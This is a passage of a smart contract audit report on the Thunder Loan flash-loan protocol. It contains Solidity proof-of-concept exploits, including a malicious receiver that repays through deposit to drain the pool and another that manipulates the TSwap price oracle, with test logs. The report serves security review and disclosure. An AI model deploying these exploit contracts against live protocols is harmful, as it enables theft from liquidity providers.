



# **Thunder Loan Protocol Audit Report**

Version 1.0

*Oleh Yatskiv at OmiSoft*

September 5, 2024

# Thunder Loan Protocol Audit Report

Oleh Yatskiv at OmiSoft

September 5th, 2024

**Prepared by:** OmiSoft team

**Lead Auditor:** Oleh Yatskiv

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - \* [H-1] `ThunderLoan::repay` function can be avoided when repaying the flashloan by calling the `ThunderLoan::deposit` function, which leads to users being able to steal underlying assets
    - \* [H-2] `ThunderLoan::deposit` function falsely changes the exchange rate, leading to partial loss of funds of the liquidity providers and setting incorrect exchange rate

- \* [H-3] Changing variable locations during an upgrade to new implementation causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol
- \* [H-4] `ThunderLoan::getCalculatedFee` calculates fees using price in WETH, although the fees are accrued in the underlying token, leading to miscalculations of fees
- Medium
  - \* [M-1] Using TSwap as a price oracle leads to price oracle manipulation attacks
  - \* [M-2] `functionCall` at `ThunderLoan::flashloan` ignores the return value, leading to unexpected behavior
  - \* [M-3] `TSwapPool::getPriceOfOnePoolTokenInWeth` function doesn't take into account the token decimals, which could lead to wrong fees calculated
  - \* [M-4] Using some of the weird ERC-20 token implementations that have fees on transfer, rebasing, blacklists, etc could lead to unexpected behavior
  - \* [M-5] Centralization risk for trusted owners
- Low
  - \* [L-1] `ThunderLoan` contract initializer can be front-run by the attacker, which would set them as contract owner
  - \* [L-2] The `ThunderLoan::repay` function becomes unusable after taking second flashloan and repaying it, so that the first flashloan could not be repaid
  - \* [L-3] Update of the fee at `ThunderLoan::updateFlashLoanFee` does not emit an event
- Gas
  - \* [G-1] Using **private** constants instead of **public** ones saves gas
  - \* [G-2] `AssetToken::updateExchangeRate` function uses too much SLOAD operations
  - \* [G-3] Unused function `OracleUpgradeable::getPrice` can be removed
  - \* [G-4] Unused custom error `ThunderLoan::ThunderLoan__ExchangeRateCanOnlyIncrease` can be removed
  - \* [G-5] Use `uint256` values 1/2 instead of `bool` to save gas and avoid frequent `Gwarmaccess` and `Gsset` operation when setting `bool` to false and then back to true
  - \* [G-6] Variable `s_feePrecision` in `ThunderLoan` contract can be made **constant**
  - \* [G-7] **public** functions not used internally could be marked **external**
- Informational
  - \* [I-1] Unused import
  - \* [I-2] There is no natspec for several functions throughout the codebase

- \* [I-3] The `ThunderLoan` contract does not implement the `IThunderLoan` interface as it should
- \* [I-4] Missing `address(0)` check at `OracleUpgradeable::__Oracle_init_unchained`
- \* [I-5] Fork tests not used despite using an external protocol
- \* [I-6] PUSH0 is not supported by all chains
- \* [I-7] Misleading naming of variable in `ThunderLoan::initialize` function
- \* [I-8] `ThunderLoan::flashloan` function doesn't follow the CEI pattern
- \* [I-9] Custom revert reason unclear
- \* [I-10] No checks for `name` or `symbol` at `ThunderLoan::setAllowedToken`
- \* [I-11] Test coverage is too low
- \* [I-12] Upgradeable contract is missing a `__gap[]` storage variable to allow for new storage variables in later versions
- \* [I-13] Parameters of `IThunderLoan::repay` and `ThunderLoan::repay` functions are different, which could lead to incorrect usage and the functionality not working as expected

## Protocol Summary

Thunder Loan is a decentralized lending protocol that allows users to supply assets to earn fees, and to take out flash loans. The protocol consists of three main contracts: `AssetToken`, `OracleUpgradeable`, and `ThunderLoan`. The `AssetToken` contract is an ERC20 token that represents the assets supplied to the protocol. It is used to hold the supplied tokens and accrue fees, that can later be withdrawn by liquidity providers. It takes track of the exchange rate between the asset token and the underlying token. The `ThunderLoan` contract is the main contract of the protocol, that allows users to supply assets, take out flash loans, and withdraw their funds. The protocol uses the `AssetToken` contract to hold the supplied tokens, and the `OracleUpgradeable` contract to keep information about the `TSwap` price oracle. The contract is `UUPSUpgradeable` and `Ownable`.

## Disclaimer

Oleh Yatskiv from the OmiSoft team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

The findings described in this document correspond to the following commit hash:

```
1 026da6e73fde0dd0a650d623d0411547e3188909
```

## Scope

```
1 ./src/
2 |__ interfaces
3 |    |__ IFlashLoanReceiver.sol
4 |    |__ IPoolFactory.sol
5 |    |__ ISwapPool.sol
6 |    #__ IThunderLoan.sol
7 |__ protocol
8 |    |__ AssetToken.sol
9 |    |__ OracleUpgradeable.sol
10 |    #__ ThunderLoan.sol
11 |__ upgradedProtocol
12 |    #__ ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI

- LINK
- WETH

## Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

## Executive Summary

### Issues found

Severity	Number of issues found
High	4
Medium	5
Low	3
Gas	7
Info	13
Total	32

## Findings

### High

**[H-1] `ThunderLoan::repay` function can be avoided when repaying the flashloan by calling the `ThunderLoan::deposit` function, which leads to users being able to steal underlying assets**

**Description:** User can avoid calling the `ThunderLoan::repay` function when repaying the flashloan by calling the `ThunderLoan::deposit` function instead. This would allow the user to steal the underlying assets by then calling the `ThunderLoan::redeem` function. The `ThunderLoan::flashloan` function lacks any checks on how the flashloan has been repaid:

```
1     function flashloan(
2         address receiverAddress,
3         IERC20 token,
4         uint256 amount,
5         bytes calldata params
6     )
7     external
8     revertIfZero(amount)
9     revertIfNotAllowedToken(token)
10    {
11        ...
12 ->    uint256 endingBalance = token.balanceOf(address(assetToken));
13 ->    if (endingBalance < startingBalance + fee) {
14        revert ThunderLoan__NotPaidBack(startingBalance + fee,
15            endingBalance);
16    }
17    s_currentlyFlashLoaning[token] = false;
18 }
```

All that the `repay` function does, is transfer the assets:

```
1     function repay(IERC20 token, uint256 amount) public {
2         if (!s_currentlyFlashLoaning[token]) {
3             revert ThunderLoan__NotCurrentlyFlashLoaning();
4         }
5         AssetToken assetToken = s_tokenToAssetToken[token];
6 ->    token.safeTransferFrom(msg.sender, address(assetToken), amount)
7         ;
8     }
```

You can repay the flashloan by simply using `transfer`:

```
1     function executeOperation(...) external returns (bool) {
2         IERC20(token).transfer(repaymentAddress, amount + fee);
3     }
```

Or depositing into the contract via `deposit` function, exploiting the vulnerability:

```
1     function deposit(IERC20 token, uint256 amount) external
2     revertIfZero(amount) revertIfNotAllowedToken(token) {
3         AssetToken assetToken = s_tokenToAssetToken[token];
4         uint256 exchangeRate = assetToken.getExchangeRate();
5         uint256 mintAmount = (amount * assetToken.
6             EXCHANGE_RATE_PRECISION()) / exchangeRate;
7         emit Deposit(msg.sender, token, amount);
8         assetToken.mint(msg.sender, mintAmount);
9
10        uint256 calculatedFee = getCalculatedFee(token, amount);
11        assetToken.updateExchangeRate(calculatedFee);
12    }
```

```
11 ->         token.safeTransferFrom(msg.sender, address(assetToken), amount)
12         ;
13     }
```

**Impact:** The user can steal the underlying assets by avoiding the `ThunderLoan::repay` function when repaying the flashloan. This would allow the user to steal the underlying assets by calling the `ThunderLoan::redeem` function. It is a severe discrepancy in the flashloan mechanism, as the flashloan should be repaid in full, and the `ThunderLoan::flashloan` function should check if the flashloan has been repaid in full.

**Proof of Concept:** We can write a test in which we take out a flashloan, then repay it by calling `ThunderLoan::deposit` function, and then just redeem the tokens and check user balances before and after the operation.

First let's write a simple smart contract for handling this attack:

```
1 contract MaliciousFlashLoanReceiverDeposit is IFlashLoanReceiver {
2     ThunderLoan thunderLoan;
3
4     constructor(address _thunderLoan) {
5         thunderLoan = ThunderLoan(_thunderLoan);
6     }
7
8     function executeOperation(
9         address token,
10        uint256 amount,
11        uint256 fee,
12        address /*initiator*/,
13        bytes calldata /*params*/
14    )
15        external
16        returns (bool)
17    {
18        IERC20(token).approve(address(thunderLoan), amount + fee);
19        thunderLoan.deposit(IERC20(token), amount + fee);
20        return true;
21    }
22
23    function redeemDeposit(address token, uint256 amount) public {
24        thunderLoan.redeem(IERC20(token), amount);
25        IERC20(token).transfer(address(msg.sender), IERC20(token).
26            balanceOf(address(this)));
27    }
```

Then we can write a test to execute the attack and drain the contract:

```
1     function testUsingDepositInsteadOfRepay() public setAllowedToken
2         hasDeposits {
```



```

2      uint256 amountToBorrow = AMOUNT * 99;
3      uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4          amountToBorrow);
5      vm.startPrank(user);
6      uint256 userBalanceBefore = tokenA.balanceOf(user);
7      uint256 protocolBalanceBefore = tokenA.balanceOf(address(
8          thunderLoan.getAssetFromToken(tokenA)));
9      MaliciousFlashLoanReceiverDeposit maliciousFlashLoanReceiver =
10         new MaliciousFlashLoanReceiverDeposit(address(thunderLoan));
11      tokenA.mint(address(maliciousFlashLoanReceiver), calculatedFee);
12      ;
13      thunderLoan.flashloan(address(maliciousFlashLoanReceiver),
14          tokenA, amountToBorrow, "");
15      maliciousFlashLoanReceiver.redeemDeposit(address(tokenA), type(
16          uint256).max);
17      uint256 userBalanceAfter = tokenA.balanceOf(user);
18      uint256 protocolBalanceAfter = tokenA.balanceOf(address(
19          thunderLoan.getAssetFromToken(tokenA)));
20      vm.stopPrank();
21
22      console2.log("User balance before: ", userBalanceBefore);
23      console2.log("User balance after: ", userBalanceAfter);
24      console2.log("Protocol balance before: ", protocolBalanceBefore);
25      ;
26      console2.log("Protocol balance after: ", protocolBalanceAfter);
27
28      assert(userBalanceAfter > userBalanceBefore);
29  }

```

We can see that we were able to drain the contract:

```
1 Logs:
2   User balance before: 0
3   User balance after: 994458609175471892419
4   Protocol balance before: 10000000000000000000000
5   Protocol balance after: 8511390824528107581
6
7 Suite result: ok. 1 passed; 0 failed; 0 skipped;
```

**Recommended Mitigation:** Add a check in the `ThunderLoan::flashloan` function to see if the flashloan has been repaid in full. If it hasn't, revert the transaction. You can either use some kind of a flag value to check whether the repayment has been made via the `ThunderLoan::repay` function and enforce users using it, or just block the `deposit` function from being called by the flashloan receiver before the flashloan has been repaid.

**[H-2] ThunderLoan::deposit function falsely changes the exchange rate, leading to partial loss of funds of the liquidity providers and setting incorrect exchange rate**

**Description:** The `ThunderLoan::deposit` function falsely changes the exchange rate where it shouldn't. The only place where the exchange rate should be updated is `ThunderLoan::flashloan`, as it accrues fees and changes the exchange rate.

```
1      function deposit(IERC20 token, uint256 amount) external
2          revertIfZero(amount) revertIfNotAllowedToken(token) {
3          AssetToken assetToken = s_tokenToAssetToken[token];
4          uint256 exchangeRate = assetToken.getExchangeRate();
5          uint256 mintAmount = (amount * assetToken.
6              EXCHANGE_RATE_PRECISION()) / exchangeRate;
7          emit Deposit(msg.sender, token, amount);
8          assetToken.mint(msg.sender, mintAmount);
9      -> uint256 calculatedFee = getCalculatedFee(token, amount);
10     -> assetToken.updateExchangeRate(calculatedFee);
11     token.safeTransferFrom(msg.sender, address(assetToken), amount)
12         ;
13 }
```

**Impact:** The liquidity providers will lose part of their funds, as the exchange rate is changed incorrectly. The liquidity provider would not be able to withdraw the correct amount of funds they are entitled to. If they deposited and then immediately withdrew the funds, they would lose part of their funds (approximately 0.3009%). Each time someone deposits, the exchange rate is changed, and the liquidity providers lose more. On 232 deposits the first depositor will lose half of his initial deposit.

**Proof of Concept:** We can write a simple test function to see if we're able to deposit and then withdraw the same amount of funds.

```
1      function testRedeemAfterLoan() public setAllowedToken {
2          tokenA.mint(liquidityProvider, AMOUNT);
3
4          vm.startPrank(liquidityProvider);
5          tokenA.approve(address(thunderLoan), AMOUNT);
6          thunderLoan.deposit(tokenA, AMOUNT);
7          uint256 amountToRedeem = AMOUNT;
8          thunderLoan.redeem(tokenA, amountToRedeem);
9          vm.stopPrank();
10         assertEq(tokenA.balanceOf(liquidityProvider), AMOUNT);
11     }
```

The test will fail, as the redeem function won't go through:

*[FAIL. Reason : ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000000000000000000 [1e19], 1003000000000000000 [1.003e19])]*

**Recommended Mitigation:** Remove the incorrectly placed exchange rate update from the

ThunderLoan::deposit function.

```
1      function deposit(IERC20 token, uint256 amount) external
      revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7      ->      uint256 calculatedFee = getCalculatedFee(token, amount);
8      ->      assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
              ;
10     }
```

**[H-3] Changing variable locations during an upgrade to new implementation causes storage collisions in ThunderLoan::s\_flashLoanFee and ThunderLoan::s\_currentlyFlashLoaning, freezing the protocol**

**Description:** The ThunderLoan contract has storage variables in the following order: s\_feePrecision, s\_flashLoanFee and s\_currentlyFlashLoaning:

```
1      uint256 private s_feePrecision;
2      uint256 private s_flashLoanFee; // 0.3% ETH fee
3
4      mapping(IERC20 token => bool currentlyFlashLoaning) private
          s_currentlyFlashLoaning;
```

In the upgraded implementation, the s\_feePrecision variable has been turned into a constant, which means that it no longer requires a storage slot. The s\_flashLoanFee and s\_currentlyFlashLoaning variables have been moved to the first and second storage slots, respectively:

```
1      uint256 private s_flashLoanFee; // 0.3% ETH fee
2      uint256 public constant FEE_PRECISION = 1e18;
3
4      mapping(IERC20 token => bool currentlyFlashLoaning) private
          s_currentlyFlashLoaning;
```

That would set the value of s\_flashLoanFee variable to the one that has been assigned to s\_feePrecision. It also might cause the s\_currentlyFlashLoaning variable to be set to the value of s\_flashLoanFee, which would lead to users being unable to repay the protocol correctly.

**Impact:** After the upgrade to the new implementation, the s\_flashLoanFee and

`s_currentlyFlashLoan` variables would be set to the wrong values. This might lead to users being unable to repay the protocol correctly, and the protocol would be frozen. Also, the users using the protocol after the upgrade would be charged the wrong fees.

**Proof of Concept:** We can write a test where we upgrade the implementation, to see that the variables has changed their values to the wrong ones:

```
1 function testUpgradeCausesStorageCollision() public {
2     uint256 feeBeforeUpgrade = thunderLoan.getFee();
3     vm.startPrank(thunderLoan.owner());
4     ThunderLoanUpgraded thunderLoanUpgraded = new
        ThunderLoanUpgraded();
5     thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
6     vm.stopPrank();
7     uint256 feeAfterUpgrade = thunderLoan.getFee();
8
9     console2.log("Fee before upgrade: ", feeBeforeUpgrade);
10    console2.log("Fee after upgrade: ", feeAfterUpgrade);
11
12    assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
13 }
```

**Recommended Mitigation:** If you must remove the storage variable, leave it as blank in order not to cause storage collisions.

```
1 -> uint256 private s_blank;
2     uint256 private s_flashLoanFee; // 0.3% ETH fee
3     uint256 public constant FEE_PRECISION = 1e18;
```

#### [H-4] ThunderLoan::getCalculatedFee calculates fees using price in WETH, although the fees are accrued in the underlying token, leading to miscalculations of fees

**Description:** The `ThunderLoan::getCalculatedFee` function calculates fees using the price in WETH, although the fees are accrued in the underlying token. The fees should be calculated using underlying token, without any need of using price oracles at all. If it is intended to accrue fees in WETH, the logic should be changed to reflect that.

```
1 function flashloan(
2     address receiverAddress,
3     IERC20 token,
4     uint256 amount,
5     bytes calldata params
6 )
7     external
8     revertIfZero(amount)
9     revertIfNotAllowedToken(token)
```

```
10     {
11         ...
12     ->     uint256 fee = getCalculatedFee(token, amount);
13         // slither-disable-next-line reentrancy-vulnerabilities-2
14         // reentrancy-vulnerabilities-3
15         assetToken.updateExchangeRate(fee);
16         ...
17     }
18     function getCalculatedFee(IERC20 token, uint256 amount) public view
19         returns (uint256 fee) {
20     ->         //slither-disable-next-line divide-before-multiply
21         uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
22         (token))) / s_feePrecision;
23         //slither-disable-next-line divide-before-multiply
24         fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
25     }
```

**Impact:** The fees would be miscalculated, as the fees are accrued in the underlying token, but the fees are calculated using the price in WETH. This would lead to the liquidity providers losing funds.

**Proof of Concept:** This issue is directly linked to the [M-1] issue about using TSwap as a price oracle. The test function is already written in the [M-1] issue and shows how cheaper price of the underlying token leads to way cheaper fees.

**Recommended Mitigation:** Change the `ThunderLoan::getCalculatedFee` function to calculate fees using the underlying token, without any need of using price oracles at all. If it is intended to accrue fees in WETH, the whole protocol's logic should be changed to reflect that (handling accruing fees, claiming fees separately for liquidity providers, etc.).

## Medium

### [M-1] Using TSwap as a price oracle leads to price oracle manipulation attacks

**Description:** ThunderLoan uses TSwap oracle to calculate fees for flashloans. The TSwap oracle can be easily manipulated by dumping the price of underlying token, which would lead to cheaper fees for flashloans. This would allow an attacker to flashloan a large amount of funds for a small fee, and then manipulate the price of the underlying token to their advantage.

```
1     function getCalculatedFee(IERC20 token, uint256 amount) public view
2         returns (uint256 fee) {
3     ->         uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
4         (token))) / s_feePrecision;
5         //slither-disable-next-line divide-before-multiply
6         fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
7     }
```

```
1     function getPriceInWeth(address token) public view returns (uint256
2         ) {
3         address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
4             token);
3 ->     return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
        ();
4     }
```

The `TSwapPool::getPriceOfOnePoolTokenInWeth` function also doesn't take into account the token decimals, so there could be wrong fees calculated because of that:

```
1     function getPriceOfOnePoolTokenInWeth() external view returns (
2         uint256) {
3         return
4             getOutputAmountBasedOnInput(
5 ->         1e18,
6             i_poolToken.balanceOf(address(this)),
7             i_wethToken.balanceOf(address(this))
8         );
8     }
```

**Impact:** An attacker could flashloan a large amount of funds for a small fee, and then manipulate the price of the underlying token to their advantage. This would allow the attacker to make a profit at the expense of the liquidity providers. Also the fees could be falsely calculated because of the lack of token decimals in the `TSwapPool::getPriceOfOnePoolTokenInWeth` function.

**Proof of Concept:** We can write a test function, in which we would take out two flashloans. The first one would be to dump the price of the underlying token on TSwap, and the second one would be to show the fee difference. For that we would first implement a contract that would be responsible for carrying out the attack:

```
1 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2     ThunderLoan thunderLoan;
3     TSwapPool tSwapPool;
4     address repaymentAddress;
5     bool hasAttacked;
6     uint256 public firstFee;
7     uint256 public secondFee;
8
9     constructor(address _thunderLoan, address _tSwapPool, address
10         _repaymentAddress) {
11         thunderLoan = ThunderLoan(_thunderLoan);
12         tSwapPool = TSwapPool(_tSwapPool);
13         repaymentAddress = _repaymentAddress;
14     }
15     function executeOperation(
16         address token,
```

```
17     uint256 amount,  
18     uint256 fee,  
19     address /*initiator*/,  
20     bytes calldata /*params*/  
21 )  
22     external  
23     returns (bool)  
24 {  
25     if (!hasAttacked) {  
26         hasAttacked = true;  
27         firstFee = fee;  
28         uint256 wethAmount = tSwapPool.getOutputAmountBasedOnInput  
29             (50e18, 100e18, 100e18);  
30         IERC20(token).approve(address(tSwapPool), 50e18);  
31         tSwapPool.swapExactInput(IERC20(token), 50e18, IERC20(  
32             tSwapPool.getWeth()), wethAmount, uint64(block.timestamp  
33             ));  
34         thunderLoan.flashloan(address(this), IERC20(token), amount,  
35             "");  
36         IERC20(token).transfer(repaymentAddress, amount + fee);  
37     } else {  
38         secondFee = fee;  
39         IERC20(token).transfer(repaymentAddress, amount + fee);  
40     }  
41     return true;  
42 }  
43 }
```

We get the first fee, sell 50 tokens for WETH, flashloan 100 tokens again, and then get the second fee. We can then write a test function to see if the fees are different:

```
1     function testOracleManipulation() public {  
2         // Contracts setup  
3         thunderLoan = new ThunderLoan();  
4         tokenA = new ERC20Mock();  
5         proxy = new ERC1967Proxy(address(thunderLoan), "");  
6         PoolFactory poolFactory = new PoolFactory(address(weth));  
7         address tSwapPool = poolFactory.createPool(address(tokenA));  
8         thunderLoan = ThunderLoan(address(proxy));  
9         thunderLoan.initialize(address(poolFactory));  
10  
11         // Fund TSwap  
12         vm.startPrank(liquidityProvider);  
13         tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);  
14         tokenA.approve(address(tSwapPool), DEPOSIT_AMOUNT);  
15         weth.mint(liquidityProvider, DEPOSIT_AMOUNT);  
16         weth.approve(address(tSwapPool), DEPOSIT_AMOUNT);  
17         TSwapPool(tSwapPool).deposit(DEPOSIT_AMOUNT, DEPOSIT_AMOUNT,  
18             DEPOSIT_AMOUNT, uint64(block.timestamp));  
19         vm.stopPrank();  
20     }
```

```
20      // Fund ThunderLoan
21      vm.prank(thunderLoan.owner());
22      thunderLoan.setAllowedToken(tokenA, true);
23      vm.startPrank(liquidityProvider);
24      tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT * 10);
25      tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT * 10);
26      thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT * 10);
27      vm.stopPrank();
28
29      // Take flashloan to manipulate the price of the tokenA
30      // Take another flashloan to show that the fees have
31      // drastically decreased
32      uint256 normalFee = thunderLoan.getCalculatedFee(tokenA,
33      DEPOSIT_AMOUNT * 10);
34      console2.log("Normal fee: ", normalFee);
35      uint256 amountToBorrow = DEPOSIT_AMOUNT * 5;
36      MaliciousFlashLoanReceiver maliciousFlashLoanReceiver = new
37      MaliciousFlashLoanReceiver(address(thunderLoan), address(
38      tSwapPool), address(thunderLoan.getAssetFromToken(tokenA)));
39
40      vm.startPrank(user);
41      tokenA.mint(address(maliciousFlashLoanReceiver), amountToBorrow
42      );
43      thunderLoan.flashloan(address(maliciousFlashLoanReceiver),
44      tokenA, amountToBorrow, "");
45      vm.stopPrank();
46
47      uint256 attackFee = maliciousFlashLoanReceiver.firstFee() +
48      maliciousFlashLoanReceiver.secondFee();
49      console2.log("Attack fee: ", attackFee);
50      assert(attackFee < normalFee);
51  }
```

We get the following output:

```
1  Logs:
2    Normal fee:  29880209431197096480
3    Attack fee:  28493799090983804430
```

As we can see, the attack fee is less than the normal fee, which means that the attacker was able to manipulate the price of the token and get a cheaper flashloan.

**Recommended Mitigation:** Consider using a different price oracle mechanism, like Chainlink Price Feeds with a Uniswap TWAP fallback oracle.



**[M-2] `functionCall` at `ThunderLoan::flashloan` ignores the return value, leading to unexpected behavior**

**Description:** The `functionCall` at `ThunderLoan::flashloan` ignores the return value, which could lead to unexpected behavior. The `functionCall` function is used to call the `executeOperation` function in the flashloan receiver contract. The `functionCall` function ignores the return value, which could lead to unexpected behavior if the `executeOperation` function returns **false**. The user that writes the implementation would expect `ThunderLoan::flashloan` to revert if `executeOperation` returns **false**, which is not the case.

```
1      function flashloan(  
2          address receiverAddress,  
3          IERC20 token,  
4          uint256 amount,  
5          bytes calldata params  
6      )  
7          external  
8          revertIfZero(amount)  
9          revertIfNotAllowedToken(token)  
10     {  
11         ...  
12         // slither-disable-next-line unused-return reentrancy-  
13         // vulnerabilities-2  
14         receiverAddress.functionCall(  
15             abi.encodeCall(  
16                 IFlashLoanReceiver.executeOperation,  
17                 (  
18                     address(token),  
19                     amount,  
20                     fee,  
21                     msg.sender, // initiator  
22                     params  
23                 )  
24             );  
25  
26         uint256 endingBalance = token.balanceOf(address(assetToken));  
27         if (endingBalance < startingBalance + fee) {  
28             revert ThunderLoan__NotPaidBack(startingBalance + fee,  
29                 endingBalance);  
30         }  
31         s_currentlyFlashLoaning[token] = false;  
32     }
```

**Impact:** The user would expect `ThunderLoan::flashloan` to revert if `executeOperation` returns **false**, and so might use it as a safety net if something is wrong, but it doesn't. This could lead to unexpected behavior if the `executeOperation` function returns **false**, and the user would not

be able to catch the error and revert the operation.

**Proof of Concept:** We can write a contract that would receive the flashloan, and then return **false**:

```
1 contract FlashLoanReceiverExpectsRevert is IFlashLoanReceiver {
2     ThunderLoan thunderLoan;
3
4     constructor(address _thunderLoan) {
5         thunderLoan = ThunderLoan(_thunderLoan);
6     }
7
8     function executeOperation(
9         address token,
10        uint256 amount,
11        uint256 fee,
12        address /*initiator*/,
13        bytes calldata /*params*/
14    )
15        external
16        returns (bool)
17    {
18        IERC20(token).approve(address(thunderLoan), amount + fee);
19        thunderLoan.repay(IERC20(token), amount + fee);
20        return false;
21    }
22 }
```

Then let's write a test function that takes out a flashloan:

```
1     function testReturnValueIsIgnored() public setAllowedToken
2         hasDeposits {
3         uint256 amountToBorrow = AMOUNT * 10;
4         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
5             amountToBorrow);
6         FlashLoanReceiverExpectsRevert flashLoanReceiverExpectsRevert =
7             new FlashLoanReceiverExpectsRevert(address(thunderLoan));
8         vm.startPrank(user);
9         tokenA.mint(address(flashLoanReceiverExpectsRevert), AMOUNT);
10        thunderLoan.flashloan(address(flashLoanReceiverExpectsRevert),
11            tokenA, amountToBorrow, "");
12        vm.stopPrank();
13    }
```

It doesn't revert, meaning that the return value is indeed ignored:

```
1 Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
2 [PASS] testReturnValueIsIgnored() (gas: 1217190)
3 Suite result: ok. 1 passed; 0 failed; 0 skipped;
```

**Recommended Mitigation:** Make sure to check the return value of the `executeOperation` function in the flashloan receiver contract, and handle it correctly. Also consider thoroughly documenting the

behavior of the `ThunderLoan::flashLoan` function, so that the users are aware of the behavior.

**[M-3] TSwapPool::getPriceOfOnePoolTokenInWeth function doesn't take into account the token decimals, which could lead to wrong fees calculated**

**Description:** The `TSwapPool::getPriceOfOnePoolTokenInWeth` function doesn't take into account the token decimals, which could lead to wrong fees calculated. The function should take into account the token decimals when calculating the price of one pool token in WETH.

```
1 function getPriceOfOnePoolTokenInWeth() external view returns (
2     uint256) {
3     return
4         getOutputAmountBasedOnInput(
5             1e18,
6             i_poolToken.balanceOf(address(this)),
7             i_wethToken.balanceOf(address(this))
8         );
9 }
```

**Impact:** This would lead to fees for some assets being higher or lower than anticipated, which could lead to a loss of funds for the liquidity providers. The fees could be falsely calculated because of the lack of token decimals in the `TSwapPool::getPriceOfOnePoolTokenInWeth` function.

**Proof of Concept:** Let's use a simple ERC-20 token with 6 decimals, and then write a test function to see if the fees are calculated correctly:

```
1 contract SixDecimalsERC20 is ERC20 {
2     constructor() ERC20("SixDecimalsERC20", "6D") {
3         _mint(msg.sender, 1_000_000 * 10 ** 6);
4     }
5
6     function mint(address to, uint256 value) public {
7         _mint(to, value);
8     }
9
10    function decimals() public pure override returns (uint8) {
11        return 6;
12    }
13 }
```

Then we can write a test function to see if the fees are calculated correctly:

```
1 function testDecimalsNotTakenIntoAccount() public {
2     uint256 depositAmountSix = 1000e6;
3     uint256 depositAmountEighteen = 1000e18;
4     thunderLoan = new ThunderLoan();
5     SixDecimalsERC20 sixDecs = new SixDecimalsERC20();
```

```
6      proxy = new ERC1967Proxy(address(thunderLoan), "");
7      PoolFactory poolFactory = new PoolFactory(address(weth));
8      address tSwapPoolSix = poolFactory.createPool(address(sixDecs))
9      ;
10     address tSwapPool = poolFactory.createPool(address(tokenA));
11     thunderLoan = ThunderLoan(address(proxy));
12     thunderLoan.initialize(address(poolFactory));
13
14     // Allow the 6 decimals token
15     vm.prank(thunderLoan.owner());
16     thunderLoan.setAllowedToken(sixDecs, true);
17
18     vm.prank(thunderLoan.owner());
19     thunderLoan.setAllowedToken(tokenA, true);
20
21     // Supply the TSwap pool with 6 decimals token
22     vm.startPrank(LiquidityProvider);
23     sixDecs.mint(LiquidityProvider, depositAmountSix);
24     sixDecs.approve(address(tSwapPoolSix), depositAmountSix);
25     weth.mint(LiquidityProvider, depositAmountSix);
26     weth.approve(address(tSwapPoolSix), depositAmountSix);
27     TSwapPool(tSwapPoolSix).deposit(depositAmountSix,
28         depositAmountSix, depositAmountSix, uint64(block.timestamp))
29     ;
30     vm.stopPrank();
31     // Supply the TSwap pool with 18 decimals token
32     vm.startPrank(LiquidityProvider);
33     tokenA.mint(LiquidityProvider, depositAmountEighteen);
34     tokenA.approve(address(tSwapPool), depositAmountEighteen);
35     weth.mint(LiquidityProvider, depositAmountEighteen);
36     weth.approve(address(tSwapPool), depositAmountEighteen);
37     TSwapPool(tSwapPool).deposit(depositAmountEighteen,
38         depositAmountEighteen, depositAmountEighteen, uint64(block.
39         timestamp));
40     vm.stopPrank();
41
42     vm.startPrank(LiquidityProvider);
43     sixDecs.mint(LiquidityProvider, depositAmountSix);
44     sixDecs.approve(address(thunderLoan), depositAmountSix);
45     thunderLoan.deposit(sixDecs, depositAmountSix);
46     tokenA.mint(LiquidityProvider, depositAmountEighteen);
47     tokenA.approve(address(thunderLoan), depositAmountEighteen);
48     thunderLoan.deposit(tokenA, depositAmountEighteen);
49     vm.stopPrank();
50
51     uint256 feeSixDecs = thunderLoan.getCalculatedFee(sixDecs,
52         depositAmountEighteen);
53     uint256 feeEighteenDecs = thunderLoan.getCalculatedFee(tokenA,
54         depositAmountEighteen);
55
56     console2.log("Fee for 6 decimals: ", feeSixDecs);
```

```
50     console2.log("Fee for 18 decimals: ", feeEighteenDecs);
51
52     assertNotEq(feeSixDecs, feeEighteenDecs);
53 }
```

The test passes, and we see the following output:

```
1  Logs:
2  Fee for 6 decimals:  29999999994
3  Fee for 18 decimals: 2988020943119709648
```

Meaning that even if we flashloan  $10^{12}$  more tokens that has 6 decimals than the ones with 18, we still get exponentially lower fees for the 6 decimals token.

